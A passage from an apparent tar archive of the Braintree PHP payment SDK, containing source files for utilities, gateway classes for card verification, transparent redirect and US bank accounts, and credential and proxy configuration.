keys and values $tmpArray = null; foreach ($array AS $key => $value) { if ($value instanceof DateTime) { $value = $value->format('r'); } $tmpArray[] = $key . $separator . $value; } // implode and return the new array return (is_array($tmpArray)) ? implode($glue, $tmpArray) : false; } public static function attributesToString($attributes) { $printableAttribs = []; foreach ($attributes AS $key => $value) { if (is_array($value)) { $pAttrib = self::attributesToString($value); } else if ($value instanceof DateTime) { $pAttrib = $value->format(DateTime::RFC850); } else { $pAttrib = $value; } $printableAttribs[$key] = sprintf('%s', $pAttrib); } return self::implodeAssociativeArray($printableAttribs); } /** * verify user request structure * * compares the expected signature of a gateway request * against the actual structure sent by the user * * @param array $signature * @param array $attributes */ public static function verifyKeys($signature, $attributes) { $validKeys = self::_flattenArray($signature); $userKeys = self::_flattenUserKeys($attributes); $invalidKeys = array_diff($userKeys, $validKeys); $invalidKeys = self::_removeWildcardKeys($validKeys, $invalidKeys); if(!empty($invalidKeys)) { asort($invalidKeys); $sortedList = join(', ', $invalidKeys); throw new InvalidArgumentException('invalid keys: ' . $sortedList); } } /** * flattens a numerically indexed nested array to a single level * @param array $keys * @param string $namespace * @return array */ private static function _flattenArray($keys, $namespace = null) { $flattenedArray = []; foreach($keys AS $key) { if(is_array($key)) { $theKeys = array_keys($key); $theValues = array_values($key); $scope = $theKeys[0]; $fullKey = empty($namespace) ? $scope : $namespace . '[' . $scope . ']'; $flattenedArray = array_merge($flattenedArray, self::_flattenArray($theValues[0], $fullKey)); } else { $fullKey = empty($namespace) ? $key : $namespace . '[' . $key . ']'; $flattenedArray[] = $fullKey; } } sort($flattenedArray); return $flattenedArray; } private static function _flattenUserKeys($keys, $namespace = null) { $flattenedArray = []; foreach($keys AS $key => $value) { $fullKey = empty($namespace) ? $key : $namespace; if (!is_numeric($key) && $namespace != null) { $fullKey .= '[' . $key . ']'; } if (is_numeric($key) && is_string($value)) { $fullKey .= '[' . $value . ']'; } if(is_array($value)) { $more = self::_flattenUserKeys($value, $fullKey); $flattenedArray = array_merge($flattenedArray, $more); } else { $flattenedArray[] = $fullKey; } } sort($flattenedArray); return $flattenedArray; } /** * removes wildcard entries from the invalid keys array * @param array $validKeys * @param <array $invalidKeys * @return array */ private static function _removeWildcardKeys($validKeys, $invalidKeys) { foreach($validKeys AS $key) { if (stristr($key, '[_anyKey_]')) { $wildcardKey = str_replace('[_anyKey_]', '', $key); foreach ($invalidKeys AS $index => $invalidKey) { if (stristr($invalidKey, $wildcardKey)) { unset($invalidKeys[$index]); } } } } return $invalidKeys; } } class_alias('Braintree\Util', 'Braintree_Util'); �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������braintree/lib/Braintree/BinData.php�����������������������������������������������������������������0000644�����������������00000001751�14720677707�0013240 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Braintree; /** * @property-read string $commercial * @property-read string $countryOfIssuance * @property-read string $debit * @property-read string $durbinRegulated * @property-read string $healthcare * @property-read string $issuingBank * @property-read string $payroll * @property-read string $prepaid * @property-read string $productId */ class BinData extends Base { public static function factory($attributes) { $instance = new self(); $instance->_initialize($attributes); return $instance; } protected function _initialize($attributes) { $this->_attributes = $attributes; } /** * returns a string representation of the bin data * @return string */ public function __toString() { return __CLASS__ . '[' . Util::attributesToString($this->_attributes) .']'; } } class_alias('Braintree\BinData', 'Braintree_BinData'); �����������������������braintree/lib/Braintree/CreditCardVerificationGateway.php�������������������������������������������0000644�����������������00000004512�14720677707�0017625 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Braintree; class CreditCardVerificationGateway { private $_gateway; private $_config; private $_http; public function __construct($gateway) { $this->_gateway = $gateway; $this->_config = $gateway->config; $this->_config->assertHasAccessTokenOrKeys(); $this->_http = new Http($gateway->config); } public function create($attributes) { $response = $this->_http->post($this->_config->merchantPath() . "/verifications", ['verification' => $attributes]); return $this->_verifyGatewayResponse($response); } private function _verifyGatewayResponse($response) { if(isset($response['verification'])){ return new Result\Successful( CreditCardVerification::factory($response['verification']) ); } else if (isset($response['apiErrorResponse'])) { return new Result\Error($response['apiErrorResponse']); } else { throw new Exception\Unexpected( "Expected transaction or apiErrorResponse" ); } } public function fetch($query, $ids) { $criteria = []; foreach ($query as $term) { $criteria[$term->name] = $term->toparam(); } $criteria["ids"] = CreditCardVerificationSearch::ids()->in($ids)->toparam(); $path = $this->_config->merchantPath() . '/verifications/advanced_search'; $response = $this->_http->post($path, ['search' => $criteria]); return Util::extractattributeasarray( $response['creditCardVerifications'], 'verification' ); } public function search($query) { $criteria = []; foreach ($query as $term) { $criteria[$term->name] = $term->toparam(); } $path = $this->_config->merchantPath() . '/verifications/advanced_search_ids'; $response = $this->_http->post($path, ['search' => $criteria]); $pager = [ 'object' => $this, 'method' => 'fetch', 'methodArgs' => [$query] ]; return new ResourceCollection($response, $pager); } } class_alias('Braintree\CreditCardVerificationGateway', 'Braintree_CreditCardVerificationGateway'); ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������braintree/lib/Braintree/KeyValueNode.php������������������������������������������������������������0000644�����������������00000000660�14720677707�0014267 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Braintree; class KeyValueNode { public function __construct($name) { $this->name = $name; $this->searchTerm = True; } public function is($value) { $this->searchTerm = $value; return $this; } public function toParam() { return $this->searchTerm; } } class_alias('Braintree\KeyValueNode', 'Braintree_KeyValueNode'); ��������������������������������������������������������������������������������braintree/lib/Braintree/TransparentRedirectGateway.php����������������������������������������������0000644�����������������00000022102�14720677707�0017234 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Braintree; use InvalidArgumentException; use DateTime; use DateTimeZone; /** * Braintree Transparent Redirect Gateway module * Static class providing methods to build Transparent Redirect urls * * @package Braintree * @category Resources */ class TransparentRedirectGateway { private $_gateway; private $_config; public function __construct($gateway) { $this->_gateway = $gateway; $this->_config = $gateway->config; $this->_config->assertHasAccessTokenOrKeys(); } /** * * @ignore */ private static $_transparentRedirectKeys = 'redirectUrl'; private static $_createCustomerSignature; private static $_updateCustomerSignature; private static $_transactionSignature; private static $_createCreditCardSignature; private static $_updateCreditCardSignature; /** * create signatures for different call types * @ignore */ public static function init() { self::$_createCustomerSignature = [ self::$_transparentRedirectKeys, ['customer' => CustomerGateway::createSignature()], ]; self::$_updateCustomerSignature = [ self::$_transparentRedirectKeys, 'customerId', ['customer' => CustomerGateway::updateSignature()], ]; self::$_transactionSignature = [ self::$_transparentRedirectKeys, ['transaction' => TransactionGateway::createSignature()], ]; self::$_createCreditCardSignature = [ self::$_transparentRedirectKeys, ['creditCard' => CreditCardGateway::createSignature()], ]; self::$_updateCreditCardSignature = [ self::$_transparentRedirectKeys, 'paymentMethodToken', ['creditCard' => CreditCardGateway::updateSignature()], ]; } public function confirm($queryString) { $params = TransparentRedirect::parseAndValidateQueryString( $queryString ); $confirmationKlasses = [ TransparentRedirect::CREATE_TRANSACTION => 'Braintree\TransactionGateway', TransparentRedirect::CREATE_CUSTOMER => 'Braintree\CustomerGateway', TransparentRedirect::UPDATE_CUSTOMER => 'Braintree\CustomerGateway', TransparentRedirect::CREATE_PAYMENT_METHOD => 'Braintree\CreditCardGateway', TransparentRedirect::UPDATE_PAYMENT_METHOD => 'Braintree\CreditCardGateway', ]; $confirmationGateway = new $confirmationKlasses[$params["kind"]]($this->_gateway); return $confirmationGateway->_doCreate('/transparent_redirect_requests/' . $params['id'] . '/confirm', []); } /** * returns the trData string for creating a credit card, * @param array $params * @return string */ public function createCreditCardData($params) { Util::verifyKeys( self::$_createCreditCardSignature, $params ); $params["kind"] = TransparentRedirect::CREATE_PAYMENT_METHOD; return $this->_data($params); } /** * returns the trData string for creating a customer. * @param array $params * @return string */ public function createCustomerData($params) { Util::verifyKeys( self::$_createCustomerSignature, $params ); $params["kind"] = TransparentRedirect::CREATE_CUSTOMER; return $this->_data($params); } public function url() { return $this->_config->baseUrl() . $this->_config->merchantPath() . '/transparent_redirect_requests'; } /** * returns the trData string for creating a transaction * @param array $params * @return string */ public function transactionData($params) { Util::verifyKeys( self::$_transactionSignature, $params ); $params["kind"] = TransparentRedirect::CREATE_TRANSACTION; $transactionType = isset($params['transaction']['type']) ? $params['transaction']['type'] : null; if ($transactionType != Transaction::SALE && $transactionType != Transaction::CREDIT) { throw new InvalidArgumentException( 'expected transaction[type] of sale or credit, was: ' . $transactionType ); } return $this->_data($params); } /** * Returns the trData string for updating a credit card. * * The paymentMethodToken of the credit card to update is required. * * <code> * $trData = TransparentRedirect::updateCreditCardData(array( * 'redirectUrl' => 'http://example.com/redirect_here', * 'paymentMethodToken' => 'token123', * )); * </code> * * @param array $params * @return string */ public function updateCreditCardData($params) { Util::verifyKeys( self::$_updateCreditCardSignature, $params ); if (!isset($params['paymentMethodToken'])) { throw new InvalidArgumentException( 'expected params to contain paymentMethodToken.' ); } $params["kind"] = TransparentRedirect::UPDATE_PAYMENT_METHOD; return $this->_data($params); } /** * Returns the trData string for updating a customer. * * The customerId of the customer to update is required. * * <code> * $trData = TransparentRedirect::updateCustomerData(array( * 'redirectUrl' => 'http://example.com/redirect_here', * 'customerId' => 'customer123', * )); * </code> * * @param array $params * @return string */ public function updateCustomerData($params) { Util::verifyKeys( self::$_updateCustomerSignature, $params ); if (!isset($params['customerId'])) { throw new InvalidArgumentException( 'expected params to contain customerId of customer to update' ); } $params["kind"] = TransparentRedirect::UPDATE_CUSTOMER; return $this->_data($params); } public function parseAndValidateQueryString($queryString) { // parse the params into an array parse_str($queryString, $params); // remove the hash $queryStringWithoutHash = null; if (preg_match('/^(.*)&hash=[a-f0-9]+$/', $queryString, $match)) { $queryStringWithoutHash = $match[1]; } if($params['http_status'] != '200') { $message = null; if(array_key_exists('bt_message', $params)) { $message = $params['bt_message']; } Util::throwStatusCodeException(isset($params['http_status']) ? $params['http_status'] : null, $message); } // recreate the hash and compare it if ($this->_hash($queryStringWithoutHash) == $params['hash']) { return $params; } else { throw new Exception\ForgedQueryString(); } } /** * * @ignore */ private function _data($params) { if (!isset($params['redirectUrl'])) { throw new InvalidArgumentException( 'expected params to contain redirectUrl' ); } $params = $this->_underscoreKeys($params); $now = new DateTime('now', new DateTimeZone('UTC')); $trDataParams = array_merge($params, [ 'api_version' => Configuration::API_VERSION, 'public_key' => $this->_config->publicKey(), 'time' => $now->format('YmdHis'), ] ); ksort($trDataParams); $urlEncodedData = http_build_query($trDataParams, null, "&"); $signatureService = new SignatureService( $this->_config->privateKey(), "Braintree\Digest::hexDigestSha1" ); return $signatureService->sign($urlEncodedData); } private function _underscoreKeys($array) { foreach($array as $key=>$value) { $newKey = Util::camelCaseToDelimiter($key, '_'); unset($array[$key]); if (is_array($value)) { $array[$newKey] = $this->_underscoreKeys($value); } else { $array[$newKey] = $value; } } return $array; } /** * @ignore */ private function _hash($string) { return Digest::hexDigestSha1($this->_config->privateKey(), $string); } } TransparentRedirectGateway::init(); class_alias('Braintree\TransparentRedirectGateway', 'Braintree_TransparentRedirectGateway'); ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������braintree/lib/Braintree/VisaCheckoutCard.php��������������������������������������������������������0000644�����������������00000012104�14720677707�0015112 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Braintree; /** * Braintree VisaCheckoutCard module * Creates and manages Braintree VisaCheckoutCards * * <b>== More information ==</b> * * For more detailed information on CreditCard verifications, see {@link https://developers.braintreepayments.com/reference/response/credit-card-verification/php https://developers.braintreepayments.com/reference/response/credit-card-verification/php} * * @package Braintree * @category Resources * * @property-read \Braintree\Address $billingAddress * @property-read string $bin * @property-read string $callId * @property-read string $cardType * @property-read string $cardholderName * @property-read string $commercial * @property-read string $countryOfIssuance * @property-read \DateTime $createdAt * @property-read string $customerId * @property-read string $customerLocation * @property-read string $debit * @property-read boolean $default * @property-read string $durbinRegulated * @property-read string $expirationDate * @property-read string $expirationMonth * @property-read string $expirationYear * @property-read boolean $expired * @property-read string $healthcare * @property-read string $imageUrl * @property-read string $issuingBank * @property-read string $last4 * @property-read string $maskedNumber * @property-read string $payroll * @property-read string $prepaid * @property-read string $productId * @property-read \Braintree\Subscription[] $subscriptions * @property-read string $token * @property-read string $uniqueNumberIdentifier * @property-read \DateTime $updatedAt */ class VisaCheckoutCard extends Base { /* instance methods */ /** * returns false if default is null or false * * @return boolean */ public function isDefault() { return $this->default; } /** * checks whether the card is expired based on the current date * * @return boolean */ public function isExpired() { return $this->expired; } /** * sets instance properties from an array of values * * @access protected * @param array $creditCardAttribs array of creditcard data * @return void */ protected function _initialize($creditCardAttribs) { // set the attributes $this->_attributes = $creditCardAttribs; // map each address into its own object $billingAddress = isset($creditCardAttribs['billingAddress']) ? Address::factory($creditCardAttribs['billingAddress']) : null; $subscriptionArray = []; if (isset($creditCardAttribs['subscriptions'])) { foreach ($creditCardAttribs['subscriptions'] AS $subscription) { $subscriptionArray[] = Subscription::factory($subscription); } } $this->_set('subscriptions', $subscriptionArray); $this->_set('billingAddress', $billingAddress); $this->_set('expirationDate', $this->expirationMonth . '/' . $this->expirationYear); $this->_set('maskedNumber', $this->bin . '******' . $this->last4); if(isset($creditCardAttribs['verifications']) && count($creditCardAttribs['verifications']) > 0) { $verifications = $creditCardAttribs['verifications']; usort($verifications, [$this, '_compareCreatedAtOnVerifications']); $this->_set('verification', CreditCardVerification::factory($verifications[0])); } } private function _compareCreatedAtOnVerifications($verificationAttrib1, $verificationAttrib2) { return ($verificationAttrib2['createdAt'] < $verificationAttrib1['createdAt']) ? -1 : 1; } /** * returns false if comparing object is not a VisaCheckoutCard, * or is a VisaCheckoutCard with a different id * * @param object $otherVisaCheckoutCard customer to compare against * @return boolean */ public function isEqual($otherVisaCheckoutCard) { return !($otherVisaCheckoutCard instanceof self) ? false : $this->token === $otherVisaCheckoutCard->token; } /** * create a printable representation of the object as: * ClassName[property=value, property=value] * @return string */ public function __toString() { return __CLASS__ . '[' . Util::attributesToString($this->_attributes) .']'; } /** * factory method: returns an instance of VisaCheckoutCard * to the requesting method, with populated properties * * @ignore * @return VisaCheckoutCard */ public static function factory($attributes) { $defaultAttributes = [ 'bin' => '', 'expirationMonth' => '', 'expirationYear' => '', 'last4' => '', ]; $instance = new self(); $instance->_initialize(array_merge($defaultAttributes, $attributes)); return $instance; } } class_alias('Braintree\VisaCheckoutCard', 'Braintree_VisaCheckoutCard'); ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������braintree/lib/Braintree/UsBankAccountGateway.php����������������������������������������������������0000644�����������������00000005700�14720677707�0015756 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Braintree; use InvalidArgumentException; /** * Braintree UsBankAccountGateway module * * @package Braintree * @category Resources */ /** * Manages Braintree UsBankAccounts * * <b>== More information ==</b> * * * @package Braintree * @category Resources */ class UsBankAccountGateway { private $_gateway; private $_config; private $_http; public function __construct($gateway) { $this->_gateway = $gateway; $this->_config = $gateway->config; $this->_config->assertHasAccessTokenOrKeys(); $this->_http = new Http($gateway->config); } /** * find a usBankAccount by token * * @access public * @param string $token paypal accountunique id * @return UsBankAccount * @throws Exception\NotFound */ public function find($token) { try { $path = $this->_config->merchantPath() . '/payment_methods/us_bank_account/' . $token; $response = $this->_http->get($path); return UsBankAccount::factory($response['usBankAccount']); } catch (Exception\NotFound $e) { throw new Exception\NotFound( 'US bank account with token ' . $token . ' not found' ); } } /** * create a new sale for the current UsBank account * * @param string $token * @param array $transactionAttribs * @return Result\Successful|Result\Error * @see Transaction::sale() */ public function sale($token, $transactionAttribs) { return Transaction::sale( array_merge( $transactionAttribs, ['paymentMethodToken' => $token] ) ); } /** * generic method for validating incoming gateway responses * * creates a new UsBankAccount object and encapsulates * it inside a Result\Successful object, or * encapsulates a Errors object inside a Result\Error * alternatively, throws an Unexpected exception if the response is invalid. * * @ignore * @param array $response gateway response values * @return Result\Successful|Result\Error * @throws Exception\Unexpected */ private function _verifyGatewayResponse($response) { if (isset($response['usBankAccount'])) { // return a populated instance of UsBankAccount return new Result\Successful( UsBankAccount::factory($response['usBankAccount']) ); } else if (isset($response['apiErrorResponse'])) { return new Result\Error($response['apiErrorResponse']); } else { throw new Exception\Unexpected( 'Expected US bank account or apiErrorResponse' ); } } } class_alias('Braintree\UsBankAccountGateway', 'Braintree_UsBankAccountGateway'); ����������������������������������������������������������������braintree/lib/Braintree/UsBankAccountVerificationSearch.php�����������������������������������������0000644�����������������00000003106�14720677707�0020123 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Braintree; class UsBankAccountVerificationSearch { public static function accountHolderName() { return new TextNode('account_holder_name'); } public static function customerEmail() { return new TextNode('customer_email'); } public static function customerId() { return new TextNode('customer_id'); } public static function id() { return new TextNode('id'); } public static function paymentMethodToken(){ return new TextNode('payment_method_token'); } public static function routingNumber() { return new TextNode('routiner_number'); } public static function ids() { return new MultipleValueNode('ids'); } public static function status() { return new MultipleValueNode( "status", Result\UsBankAccountVerification::allStatuses() ); } public static function verificationMethod() { return new MultipleValueNode( "verification_method", Result\UsBankAccountVerification::allVerificationMethods() ); } public static function createdAt() { return new RangeNode("created_at"); } public static function accountType() { return new EqualityNode("account_type"); } public static function accountNumber() { return new EndsWithNode("account_number"); } } class_alias('Braintree\UsBankAccountVerificationSearch', 'Braintree_UsBankAccountVerificationSearch'); ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������braintree/lib/Braintree/GraphQL.php�����������������������������������������������������������������0000644�����������������00000002245�14720677707�0013233 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Braintree; use finfo; /** * Braintree GraphQL Client * process GraphQL requests using curl */ class GraphQL extends Http { public function __construct($config) { parent::__construct($config); } public function graphQLHeaders() { return [ 'Accept: application/json', 'Braintree-Version: ' . Configuration::GRAPHQL_API_VERSION, 'Content-Type: application/json', 'User-Agent: Braintree PHP Library ' . Version::get(), 'X-ApiVersion: ' . Configuration::API_VERSION ]; } public function request($definition, $variables) { $graphQLRequest = ["query" => $definition]; if ($variables) { $graphQLRequest["variables"] = $variables; } $response = $this->_doUrlRequest('POST', $this->_config->graphQLBaseUrl(), json_encode($graphQLRequest), null, $this->graphQLHeaders()); $result = json_decode($response["body"], true); Util::throwGraphQLResponseException($result); return $result; } } class_alias('Braintree\GraphQL', 'Braintree_GraphQL'); �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������braintree/lib/Braintree/RiskData.php����������������������������������������������������������������0000644�����������������00000001412�14720677707�0013432 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Braintree; /** * @property-read string $decision * @property-read boolean $deviceDataCaptured * @property-read string $id */ class RiskData extends Base { public static function factory($attributes) { $instance = new self(); $instance->_initialize($attributes); return $instance; } protected function _initialize($attributes) { $this->_attributes = $attributes; } /** * returns a string representation of the risk data * @return string */ public function __toString() { return __CLASS__ . '[' . Util::attributesToString($this->_attributes) .']'; } } class_alias('Braintree\RiskData', 'Braintree_RiskData'); ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������braintree/lib/Braintree/FacilitatedDetails.php������������������������������������������������������0000644�����������������00000001474�14720677707�0015457 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Braintree; /** * @property-read string $merchantId * @property-read string $merchantName * @property-read string $paymentMethodNonce */ class FacilitatedDetails extends Base { public static function factory($attributes) { $instance = new self(); $instance->_initialize($attributes); return $instance; } protected function _initialize($attributes) { $this->_attributes = $attributes; } /** * returns a string representation of the facilitated details * @return string */ public function __toString() { return __CLASS__ . '[' . Util::attributesToString($this->_attributes) .']'; } } class_alias('Braintree\FacilitatedDetails', 'Braintree_FacilitatedDetails'); ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������braintree/lib/Braintree/SettlementBatchSummary.php��������������������������������������������������0000644�����������������00000002233�14720677707�0016376 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Braintree; /** * @property-read array $records */ class SettlementBatchSummary extends Base { /** * * @param array $attributes * @return SettlementBatchSummary */ public static function factory($attributes) { $instance = new self(); $instance->_initialize($attributes); return $instance; } /** * @ignore * @param array $attributes */ protected function _initialize($attributes) { $this->_attributes = $attributes; } public function records() { return $this->_attributes['records']; } /** * static method redirecting to gateway * * @param string $settlement_date Date YYYY-MM-DD * @param string $groupByCustomField * @return Result\Successful|Result\Error */ public static function generate($settlement_date, $groupByCustomField = NULL) { return Configuration::gateway()->settlementBatchSummary()->generate($settlement_date, $groupByCustomField); } } class_alias('Braintree\SettlementBatchSummary', 'Braintree_SettlementBatchSummary'); ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������braintree/lib/Braintree/ProcessorResponseTypes.php��������������������������������������������������0000644�����������������00000000533�14720677707�0016456 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Braintree; /** * Processor response types. * * @package Braintree */ class ProcessorResponseTypes { const APPROVED = 'approved'; const SOFT_DECLINED = 'soft_declined'; const HARD_DECLINED = 'hard_declined'; } class_alias('Braintree\ProcessorResponseTypes', 'Braintree_ProcessorResponseTypes'); ���������������������������������������������������������������������������������������������������������������������������������������������������������������������braintree/lib/Braintree/UnknownPaymentMethod.php����������������������������������������������������0000644�����������������00000003136�14720677707�0016073 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Braintree; /** * Braintree UnknownPaymentMethod module * * @package Braintree * @category Resources */ /** * Manages Braintree UnknownPaymentMethod * * <b>== More information ==</b> * * * @package Braintree * @category Resources * * @property-read string $token * @property-read string $imageUrl */ class UnknownPaymentMethod extends Base { /** * factory method: returns an instance of UnknownPaymentMethod * to the requesting method, with populated properties * * @ignore * @return UnknownPaymentMethod */ public static function factory($attributes) { $instance = new self(); $values = array_values($attributes); $instance->_initialize(array_shift($values)); return $instance; } /* instance methods */ /** * returns false if default is null or false * * @return boolean */ public function isDefault() { return $this->default; } /** * sets instance properties from an array of values * * @access protected * @param array $unknownPaymentMethodAttribs array of unknownPaymentMethod data * @return void */ protected function _initialize($unknownPaymentMethodAttribs) { // set the attributes $this->imageUrl = 'https://assets.braintreegateway.com/payment_method_logo/unknown.png'; $this->_attributes = $unknownPaymentMethodAttribs; } } class_alias('Braintree\UnknownPaymentMethod', 'Braintree_UnknownPaymentMethod'); ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������braintree/lib/Braintree/Configuration.php�����������������������������������������������������������0000644�����������������00000043450�14720677707�0014547 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Braintree; /** * * Configuration registry * * @package Braintree * @subpackage Utility */ class Configuration { public static $global; private $_environment = null; private $_merchantId = null; private $_publicKey = null; private $_privateKey = null; private $_clientId = null; private $_clientSecret = null; private $_accessToken = null; private $_proxyHost = null; private $_proxyPort = null; private $_proxyType = null; private $_proxyUser = null; private $_proxyPassword = null; private $_timeout = 60; private $_sslVersion = null; private $_acceptGzipEncoding = true; /** * Braintree API version to use * @access public */ const API_VERSION = 5; const GRAPHQL_API_VERSION = '2018-09-10'; public function __construct($attribs = []) { foreach ($attribs as $kind => $value) { if ($kind == 'environment') { CredentialsParser::assertValidEnvironment($value); $this->_environment = $value; } if ($kind == 'merchantId') { $this->_merchantId = $value; } if ($kind == 'publicKey') { $this->_publicKey = $value; } if ($kind == 'privateKey') { $this->_privateKey = $value; } if ($kind == 'timeout') { $this->_timeout = $value; } if ($kind == 'acceptGzipEncoding') { $this->_acceptGzipEncoding = $value; } } if (isset($attribs['clientId']) || isset($attribs['accessToken'])) { if (isset($attribs['environment']) || isset($attribs['merchantId']) || isset($attribs['publicKey']) || isset($attribs['privateKey'])) { throw new Exception\Configuration('Cannot mix OAuth credentials (clientId, clientSecret, accessToken) with key credentials (publicKey, privateKey, environment, merchantId).'); } $parsedCredentials = new CredentialsParser($attribs); $this->_environment = $parsedCredentials->getEnvironment(); $this->_merchantId = $parsedCredentials->getMerchantId(); $this->_clientId = $parsedCredentials->getClientId(); $this->_clientSecret = $parsedCredentials->getClientSecret(); $this->_accessToken = $parsedCredentials->getAccessToken(); } } /** * resets configuration to default * @access public */ public static function reset() { self::$global = new Configuration(); } public static function gateway() { return new Gateway(self::$global); } public static function environment($value=null) { if (empty($value)) { return self::$global->getEnvironment(); } CredentialsParser::assertValidEnvironment($value); self::$global->setEnvironment($value); } public static function merchantId($value=null) { if (empty($value)) { return self::$global->getMerchantId(); } self::$global->setMerchantId($value); } public static function publicKey($value=null) { if (empty($value)) { return self::$global->getPublicKey(); } self::$global->setPublicKey($value); } public static function privateKey($value=null) { if (empty($value)) { return self::$global->getPrivateKey(); } self::$global->setPrivateKey($value); } /** * Sets or gets the read timeout to use for making requests. * * @param integer $value If provided, sets the read timeout * @return integer The read timeout used for connecting to Braintree */ public static function timeout($value=null) { if (empty($value)) { return self::$global->getTimeout(); } self::$global->setTimeout($value); } /** * Sets or gets the SSL version to use for making requests. See * https://php.net/manual/en/function.curl-setopt.php for possible * CURLOPT_SSLVERSION values. * * @param integer $value If provided, sets the SSL version * @return integer The SSL version used for connecting to Braintree */ public static function sslVersion($value=null) { if (empty($value)) { return self::$global->getSslVersion(); } self::$global->setSslVersion($value); } /** * Sets or gets the proxy host to use for connecting to Braintree * * @param string $value If provided, sets the proxy host * @return string The proxy host used for connecting to Braintree */ public static function proxyHost($value = null) { if (empty($value)) { return self::$global->getProxyHost(); } self::$global->setProxyHost($value); } /** * Sets or gets the port of the proxy to use for connecting to Braintree * * @param string $value If provided, sets the port of the proxy * @return string The port of the proxy used for connecting to Braintree */ public static function proxyPort($value = null) { if (empty($value)) { return self::$global->getProxyPort(); } self::$global->setProxyPort($value); } /** * Sets or gets the proxy type to use for connecting to Braintree. This value * can be any of the CURLOPT_PROXYTYPE options in PHP cURL. * * @param string $value If provided, sets the proxy type * @return string The proxy type used for connecting to Braintree */ public static function proxyType($value = null) { if (empty($value)) { return self::$global->getProxyType(); } self::$global->setProxyType($value); } /** * Specifies whether or not a proxy is properly configured * * @return bool true if a proxy is configured properly, false if not */ public static function isUsingProxy() { $proxyHost = self::$global->getProxyHost(); $proxyPort = self::$global->getProxyPort(); return !empty($proxyHost) && !empty($proxyPort); } public static function proxyUser($value = null) { if (empty($value)) { return self::$global->getProxyUser(); } self::$global->setProxyUser($value); } public static function proxyPassword($value = null) { if (empty($value)) { return self::$global->getProxyPassword(); } self::$global->setProxyPassword($value); } /** * Specified whether or not a username and password have been provided for * use with an authenticated proxy * * @return bool true if both proxyUser and proxyPassword are present */ public static function isAuthenticatedProxy() { $proxyUser = self::$global->getProxyUser(); $proxyPwd = self::$global->getProxyPassword(); return !empty($proxyUser) && !empty($proxyPwd); } /** * Specify if the HTTP client is able to decode gzipped responses. * * @param bool $value If true, will send an Accept-Encoding header with a gzip value. If false, will not send an Accept-Encoding header with a gzip value. * @return bool true if an Accept-Encoding header with a gzip value will be sent, false if not */ public static function acceptGzipEncoding($value = null) { if (is_null($value)) { return self::$global->getAcceptGzipEncoding(); } self::$global->setAcceptGzipEncoding($value); } public static function assertGlobalHasAccessTokenOrKeys() { self::$global->assertHasAccessTokenOrKeys(); } public function assertHasAccessTokenOrKeys() { if (empty($this->_accessToken)) { if (empty($this->_merchantId)) { throw new Exception\Configuration('Braintree\\Configuration::merchantId needs to be set (or accessToken needs to be passed to Braintree\\Gateway).'); } else if (empty($this->_environment)) { throw new Exception\Configuration('Braintree\\Configuration::environment needs to be set.'); } else if (empty($this->_publicKey)) { throw new Exception\Configuration('Braintree\\Configuration::publicKey needs to be set.'); } else if (empty($this->_privateKey)) { throw new Exception\Configuration('Braintree\\Configuration::privateKey needs to be set.'); } } } public function assertHasClientCredentials() { $this->assertHasClientId(); $this->assertHasClientSecret(); } public function assertHasClientId() { if (empty($this->_clientId)) { throw new Exception\Configuration('clientId needs to be passed to Braintree\\Gateway.'); } } public function assertHasClientSecret() { if (empty($this->_clientSecret)) { throw new Exception\Configuration('clientSecret needs to be passed to Braintree\\Gateway.'); } } public function getEnvironment() { return $this->_environment; } /** * Do not use this method directly. Pass in the environment to the constructor. */ public function setEnvironment($value) { $this->_environment = $value; } public function getMerchantId() { return $this->_merchantId; } /** * Do not use this method directly. Pass in the merchantId to the constructor. */ public function setMerchantId($value) { 